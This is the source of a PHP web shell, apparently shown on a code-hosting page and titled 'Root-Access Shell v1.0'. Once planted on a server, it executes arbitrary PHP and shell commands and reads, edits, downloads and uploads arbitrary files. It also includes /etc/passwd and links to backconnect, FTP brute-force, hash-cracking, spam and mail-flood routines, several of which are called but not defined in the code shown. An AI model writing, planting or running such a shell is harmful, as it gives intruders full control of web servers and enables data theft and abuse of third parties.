-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathroot_access_shell.php
executable file
·398 lines (395 loc) · 10.8 KB
/
root_access_shell.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
<?php
ini_set("session.gc_maxlifetime",1);
session_start();
error_reporting(0);
safe_mode();
if($_POST['type']==11){download(stripslashes($_POST['value']));};
function download($dfilename)
{
$file=fopen($dfilename,"r");
ob_clean();
$filename = basename($dfilename);
$filedump = fread($file,@filesize($dfilename));
fclose($file);
header("Content-type: ".$mime_type);
header("Content-disposition: attachment; filename=\"".$filename."\";");
echo $filedump;
}
function testperl()
{
if(ex('perl -h'))
{
return "<font size=2 color=#29a329>ON</font>";
}else{
return "<font size=2 color=#ff4500>OFF</font>";
}
}
function view_size($size)
{
if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
else {$size = $size . " B";}
return $size;
}
function testfetch()
{
if(ex('fetch --help'))
{
return "<font size=2 color=#29a329>ON</font>";
}else{
return "<font size=2 color=#ff4500>OFF</font>";
}
}
function testwget()
{
if(ex('wget --help'))
{
return "<font size=2 color=#29a329>ON</font>";
}else{
return "<font size=2 color=#ff4500>OFF</font>";
}
}
function oracle()
{
if(function_exists('ocilogon'))
{
return "<font size=2 color=#29a329>ON</font>";
}else{
return "<font size=2 color=#ff4500>OFF</font>";
}
}
function postgresql()
{
if(function_exists('pg_connect'))
{
return "<font size=2 color=#29a329>ON</font>";
}else{
return "<font size=2 color=#ff4500>OFF</font>";
}
}
function testmssql()
{
if(function_exists('mssql_connect'))
{
return "<font size=2 color=#29a329>ON</font>";
}else{
return "<font size=2 color=#ff4500>OFF</font>";
}
}
function testcurl()
{
if(function_exists('curl_version'))
{
return "<font size=2 color=#29a329>ON</font>";
}else{
return "<font size=2 color=#ff4500>OFF</font>";
}
}
function testmysql()
{
if(function_exists('mysql_connect'))
{
return "<font size=2 color=#29a329>ON</font>";
}else{
return "<font size=2 color=#ff4500>OFF</font>";
}
}
function safe_mode()
{
if(!$safe_mode && strpos(ex("echo abch0ld"),"h0ld")!=3)
{
$_SESSION['safe_mode'] = 1;
return "<font size=2 color=#29a329>ON</font>";
}else{
$_SESSION['safe_mode'] = 0;
return "<font size=2 color=#ff4500>OFF</font>";
}
};
function ex($in)
{
$out = '';
if(function_exists('exec'))
{
exec($in,$out);
$out = join("\n",$out);
}
elseif(function_exists('passthru'))
{
ob_start();
passthru($in);
$out = ob_get_contents();
ob_end_clean();
}
elseif(function_exists('system'))
{
ob_start();
system($in);
$out = ob_get_contents();
ob_end_clean();
}
elseif(function_exists('shell_exec'))
{
$out = shell_exec($in);
}
elseif(is_resource($f = popen($in,"r")))
{
$out = "";
while(!@feof($f)) { $out .= fread($f,1024); }
pclose($f);
}
return $out;
}
function shell()
{
if($_POST['type']==1)
{
eval(stripslashes($_POST['value']));
}
elseif($_POST['type']==2)
{
pwd();
print_r(ex(stripslashes($_POST['value'])));
}
elseif($_POST['type']==3)
{
if($_SESSION['safe_mode'] == 1){
if(($u=safe_ex('ls -la'))!='')
{return $u;}else{return safe_ex('dir');};
}else{
if(($u=ex('ls -la'))!='')
{return $u;}else{return ex('dir');};
}
}
elseif($_POST['type']==4)
{
if(file_exists(stripslashes($_POST['value'])))
{
if($safe_mode!=1){
echo htmlspecialchars(fread(fopen(stripslashes($_POST['value']),"rw"),filesize(stripslashes($_POST['value']))));
}else{
echo htmlspecialchars(safe_read(stripslashes($_POST['value'])));
};
$_SESSION['edit']=1;
$_SESSION['filename'] = $_POST['value'];
}else{
return 'File doesn\'t exists!';
}
}
elseif($_POST['type']==5)
{
fputs(fopen($_SESSION['filename'],"w"),stripslashes($_POST['value']));
}
elseif($_POST['type']==6)
{
$uploaddir = pwd();
if(!$name=$_POST['newname']){$name = $_FILES['userfile']['name'];};
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name);
}
elseif($_POST['type']==7)
{
echo alias($_POST['value']);
}
elseif($_POST['type']==8)
{
echo spammer(stripslashes($_POST['from']),stripslashes($_POST['subject']),stripslashes($_POST['msg']),stripslashes($_POST['check']),stripslashes($_POST['elist']),stripslashes($_POST['logf']));
}
elseif($_POST['type']==9)
{
echo ftp_brute(stripslashes($_POST['host']),stripslashes($_POST['users']),stripslashes($_POST['passwd']),stripslashes($_POST['log']));
}
elseif($_POST['type']==10)
{
echo flooder(stripslashes($_POST['log']),stripslashes($_POST['to']),stripslashes($_POST['from']),stripslashes($_POST['subject']),stripslashes($_POST['msg']),stripslashes($_POST['amount']),stripslashes($_POST['check']));
}
elseif($_POST['type']==12)
{
echo backconnect(stripslashes($_POST['ip']),stripslashes($_POST['port']),stripslashes($_POST['method']));
}
elseif($_POST['type']==13)
{
echo backconnect(stripslashes($_POST['port']),stripslashes($_POST['pass']),stripslashes($_POST['method']));
}
elseif($_POST['type']==14)
{
echo md5_brute(stripslashes($_POST['hash']),stripslashes($_POST['log']),stripslashes($_POST['dict']));
}
else
{$u = ex('ls -la');
if($u == ''){return ex('dir');}else{return $u;};
}
return null;
};
function edit()
{
if ($_SESSION['edit'] == 1){
$_SESSION['edit']=0;
return "<br><center><input type=submit value=\"Save\"></center>";};
}
function getsystem()
{
return php_uname('s')." ".php_uname('r')." ".php_uname('v');
};
function getserver()
{
return getenv("SERVER_SOFTWARE");
};
function getuser()
{
$out = get_current_user();
if($out!="SYSTEM")
{
if(($out=ex('id'))==''){$out = "uid=".getmyuid()."(".get_current_user().") gid=".getmygid();};
}
return $out;
};
function pwd()
{
if($_POST['type']==3)
{
$_SESSION['pwd'] = stripslashes($_POST['value']);
}
chdir($_SESSION['pwd']);
$cwd = getcwd();
if($u=strrpos($cwd,'/'))
{
if($u!=strlen($cwd)-1){
return $cwd.'/';}
else{return $cwd;};
}
elseif($u=strrpos($cwd,'\\'))
{
if($u!=strlen($cwd)-1){
return $cwd.'\\';}
else{return $cwd;};
};
}
function safe_ex($in)
{
if($in){
$d=dir('.');
while (false!==($file=$d->read()))
{
if ($file=="." || $file=="..") continue;
@clearstatcache();
list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
if(!$unix){
echo date("d.m.Y H:i",$mtime)." ";
if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size);
}
else{
$owner = @posix_getpwuid($uid);
$grgid = @posix_getgrgid($gid);
echo $inode." ";
echo perms(@fileperms($file));
printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
echo date("d.m.Y H:i ",$mtime);
}
echo "$file\n";
}
$d->close();
}
function safe_read($in)
{
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include("/etc/passwd");
ini_restore("safe_mode");
ini_restore("open_basedir");
echo ini_get("safe_mode");
echo ini_get("open_basedir");
file_get_contents($in);
}
}
?><html>
<head>
<title>Root-Access Shell</title>
<META http-equiv="Content-Type" content="text/html; charset=CP866">
<style type=text/css>
BODY { font-family: Verdana, Tahoma, Arial, sans-serif;font-size: 11px;margin: 0px;padding: 0px;text-align: center;color: #e7e7eb;background-color: #242629;}
TABLE, TR, TD { font-family: Verdana, Tahoma, Arial, sans-serif;font-size: 12px;color: #e7e7eb;}
.contentb {background-color: #44474f;}
.t { padding: 6px;background-color: #242629;}
input,textarea,select
{background: #44474f;
border: 1px solid #242629;
color: #e7e7eb;
font-family: verdana, helvetica, sans-serif;
font-size: 11px;
margin: 5px;
padding: 2px;
vertical-align: middle;
}
</style>
</head>
<body bgcolor='#242629'><br>
<center>
<table width=95% border=0 cellspacing=1 cellpadding=1 bgcolor=#646c71 style=border-color: #000000;>
<tr><th class=t align=left><b>Server Info</b></th></tr>
<tr><td class=contentb>
<table border="0" width="100%"><tr>
<td width="35%" >System: <font size=2 color=#ff4500><b><?php echo getsystem();?></b></font></td>
<td width="15%" >PHP-version: <font size=2 color=#29a329><?php echo phpversion();?></font></td>
<td width="15%" >Oracle: <?php echo oracle();?></td>
<td width="25%" >Safe_mode: <?php echo safe_mode();?></td>
</tr>
<tr>
<td width="35%" >Server: <font size=2 color=#ff4500><b><?php echo getserver();?></b></font></td>
<td width="15%" >MySQL: <?php echo testmysql();?></td>
<td width="15%" >cURL: <?php echo testcurl();?></td>
<td width="25%" >Total space: <?php echo view_size(disk_total_space(getcwd()));?></td>
</tr>
<tr>
<td width="35%" >PWD: <font size=2 color=#ff4500><b><?php if(strlen($u=pwd())>45){echo "...".substr($u,strlen($u)-40,40);}else{echo $u;};?></b></font></td>
<td width="15%" >PostgreSQL: <?php echo postgresql();?></td>
<td width="15%" >WGet: <?php echo testwget();?></td>
<td width="25%" >Free space: <?php echo view_size(diskfreespace(getcwd()));?></td>
</tr>
<tr>
<td width="35%" >User: <font size=2 color=#ff4500><b><?php echo getuser();?></b></font></td>
<td width="15%" >MSSQL: <?php echo testmssql();?></td>
<td width="15%" >Perl: <?php echo testperl();?></td>
<td width="25%" >Server time: <?php echo date('H:i d-m-Y');?></td>
</tr>
</table>
</td></tr></table>
<table width=95% border=0 cellspacing=1 cellpadding=1 bgcolor=#646c71 style=border-color: #000000;>
<tr><th class=t align=left><b>Shell</b></th></tr>
<tr><td class=contentb><center>
<form action method=POST>
<input type=hidden name="type" value=5>
<textarea cols=150 rows=20 name="value">
<?php echo htmlspecialchars(shell());?>
</textarea><?php echo edit();?></form>
<table border="0" width="100%">
<tr>
<td width="50%" align="center"><form action method=POST>
<b>Enter comand:</b>
<input type=hidden name="type" value=2>
<input type=text name="value" size=45><input type=submit value="Enter">
</form></td>
<td width="50%" align="center"><form action method=POST><b>PWD:</b> <input type=text name="value" size=51 value=<?php echo pwd();?>><input type=hidden name="type" value=3><input type=submit value="Enter">
</form></td>
</tr>
</table>
</td></tr></table>
<table width=95% border=0 cellspacing=1 cellpadding=1 bgcolor=#646c71 style=border-color: #000000;>
<tr><th class=t align=left><b>Tools</b></th></tr>
<tr><td class=contentb>
<form action method=POST>
<b>Edit file:</b><input type=hidden name="type" value=4>
<input type=text name="value" size=72 value=<?php echo pwd();?>><input type=submit value="Edit">
</form>
<form action method=POST>
<b>Download:</b>
<input type=hidden name="type" value=11><input type=text name="value" size=71 value=<?php echo pwd();?>><input type=submit value="Download">
</form><form enctype="multipart/form-data" action method=POST>
<b>Upload:</b><input type=hidden name="type" value=6>
<input type=file name="userfile" size=28>
<input type=hidden name="type" value=6>New name:<input type=text size=35 name="newname"><input type=submit value="Upload">
</form>
</td></tr></table>
<table width=95% border=0 cellspacing=1 cellpadding=1 bgcolor=#646c71 style=border-color: #000000;>
<tr><th class=t align=left><b>Copyright</b></th></tr>
<tr><td class=contentb><center><a href="http://forum.root-access.ru"><font size=2 color=#e7e7eb>Root-Access Shell v1.0</font></a></center>
</td></tr></table><br></center></body></html>